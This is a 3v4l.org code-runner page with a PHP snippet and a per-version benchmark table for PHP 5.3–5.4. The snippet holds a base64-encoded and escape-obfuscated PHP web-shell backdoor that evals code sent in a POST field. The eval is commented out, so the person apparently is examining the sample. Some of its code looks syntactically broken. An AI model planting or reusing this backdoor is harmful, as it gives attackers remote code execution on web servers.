3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'; $__="\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"; $___="\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"; print($___\n); print($__); //eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0090.03912.50
5.4.290.0080.04312.50
5.4.280.0080.03812.39
5.4.270.0070.03612.39
5.4.260.0090.03412.39
5.4.250.0030.04012.39
5.4.240.0050.03712.39
5.4.230.0040.03912.38
5.4.220.0040.03912.38
5.4.210.0070.03612.38
5.4.200.0050.04112.38
5.4.190.0080.03312.38
5.4.180.0050.03612.38
5.4.170.0040.03712.38
5.4.160.0070.03412.38
5.4.150.0060.03512.38
5.4.140.0030.03912.07
5.4.130.0080.03412.05
5.4.120.0060.03612.02
5.4.110.0060.03412.01
5.4.100.0080.03312.01
5.4.90.0040.03912.01
5.4.80.0040.03812.01
5.4.70.0050.03612.01
5.4.60.0070.03512.00
5.4.50.0090.04112.01
5.4.40.0090.04612.00
5.4.30.0120.04211.99
5.4.20.0080.04711.98
5.4.10.0080.04311.99
5.4.00.0090.03811.48
5.3.280.0050.04512.71
5.3.270.0060.04412.73
5.3.260.0030.04512.72
5.3.250.0050.04112.72
5.3.240.0090.03712.72
5.3.230.0090.03912.71
5.3.220.0070.04012.68
5.3.210.0080.04112.68
5.3.200.0100.03812.68
5.3.190.0090.04212.67
5.3.180.0060.03712.67
5.3.170.0090.03612.67
5.3.160.0040.04012.68
5.3.150.0060.03812.67
5.3.140.0040.03812.66
5.3.130.0070.03812.65
5.3.120.0070.03912.66
5.3.110.0070.03812.66
5.3.100.0100.03612.12
5.3.90.0070.03812.08
5.3.80.0060.04012.07
5.3.70.0140.03312.07
5.3.60.0080.03812.06
5.3.50.0080.03812.00
5.3.40.0020.04512.00
5.3.30.0080.03411.95
5.3.20.0160.03111.72
5.3.10.0060.03711.70
5.3.00.0080.03711.68

preferences:
143.35 ms | 1394 KiB | 7 Q